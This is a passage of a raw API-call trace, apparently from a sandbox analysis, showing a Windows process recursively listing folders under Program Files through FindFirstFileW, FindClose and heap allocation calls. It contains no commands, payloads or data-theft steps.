cAlternateFileName="")) returned 0x639888 [0206.282] GetProcessHeap () returned 0x550000 [0206.282] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0206.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0206.285] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0206.286] GetProcessHeap () returned 0x550000 [0206.286] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0206.286] GetProcessHeap () returned 0x550000 [0206.286] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0206.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0206.289] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0206.290] GetProcessHeap () returned 0x550000 [0206.290] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0206.290] GetProcessHeap () returned 0x550000 [0206.290] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0206.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0206.291] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0206.291] GetProcessHeap () returned 0x550000 [0206.291] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0206.291] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.291] GetProcessHeap () returned 0x550000 [0206.291] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26460e8 | out: hHeap=0x550000) returned 1 [0206.537] GetProcessHeap () returned 0x550000 [0206.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26460e8 [0206.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.760] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.762] GetProcessHeap () returned 0x550000 [0206.762] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26460e8 | out: hHeap=0x550000) returned 1 [0206.762] GetProcessHeap () returned 0x550000 [0206.762] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26460e8 [0206.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.841] GetProcessHeap () returned 0x550000 [0206.841] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0206.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0206.897] GetProcessHeap () returned 0x550000 [0206.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0206.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0206.999] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0206.999] GetProcessHeap () returned 0x550000 [0206.999] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0206.999] GetProcessHeap () returned 0x550000 [0206.999] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0206.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0207.000] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0207.000] GetProcessHeap () returned 0x550000 [0207.000] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.000] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.000] GetProcessHeap () returned 0x550000 [0207.000] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.000] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.001] GetProcessHeap () returned 0x550000 [0207.001] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26460e8 | out: hHeap=0x550000) returned 1 [0207.003] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.003] GetProcessHeap () returned 0x550000 [0207.003] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.004] GetProcessHeap () returned 0x550000 [0207.004] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.004] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.004] GetProcessHeap () returned 0x550000 [0207.004] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.004] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.005] GetProcessHeap () returned 0x550000 [0207.005] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.005] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.005] GetProcessHeap () returned 0x550000 [0207.005] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0207.007] GetProcessHeap () returned 0x550000 [0207.007] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbd22b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd22b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.008] GetProcessHeap () returned 0x550000 [0207.008] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.010] GetProcessHeap () returned 0x550000 [0207.010] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.011] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.011] GetProcessHeap () returned 0x550000 [0207.012] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.014] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.014] GetProcessHeap () returned 0x550000 [0207.014] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.015] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.015] GetProcessHeap () returned 0x550000 [0207.015] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.015] GetProcessHeap () returned 0x550000 [0207.015] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbde11e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbde11e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.015] GetProcessHeap () returned 0x550000 [0207.016] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.016] GetProcessHeap () returned 0x550000 [0207.016] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.017] GetProcessHeap () returned 0x550000 [0207.017] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.017] GetProcessHeap () returned 0x550000 [0207.017] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.018] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.018] GetProcessHeap () returned 0x550000 [0207.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.018] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.018] GetProcessHeap () returned 0x550000 [0207.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.018] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.019] GetProcessHeap () returned 0x550000 [0207.019] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.019] GetProcessHeap () returned 0x550000 [0207.019] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.019] GetProcessHeap () returned 0x550000 [0207.019] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.181] GetProcessHeap () returned 0x550000 [0207.181] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.186] GetProcessHeap () returned 0x550000 [0207.186] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f1098 [0207.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0207.188] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0207.188] GetProcessHeap () returned 0x550000 [0207.188] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0207.188] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.189] GetProcessHeap () returned 0x550000 [0207.189] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.191] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.191] GetProcessHeap () returned 0x550000 [0207.191] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.192] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.192] GetProcessHeap () returned 0x550000 [0207.192] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.192] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.192] GetProcessHeap () returned 0x550000 [0207.192] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.194] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.195] GetProcessHeap () returned 0x550000 [0207.195] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.195] GetProcessHeap () returned 0x550000 [0207.195] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbf84100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf84100, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.207] GetProcessHeap () returned 0x550000 [0207.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.208] GetProcessHeap () returned 0x550000 [0207.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.243] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.244] GetProcessHeap () returned 0x550000 [0207.244] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.244] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.244] GetProcessHeap () returned 0x550000 [0207.244] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.245] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.246] GetProcessHeap () returned 0x550000 [0207.246] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.246] GetProcessHeap () returned 0x550000 [0207.246] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbf11ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf11ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.246] GetProcessHeap () returned 0x550000 [0207.246] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.248] GetProcessHeap () returned 0x550000 [0207.248] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", 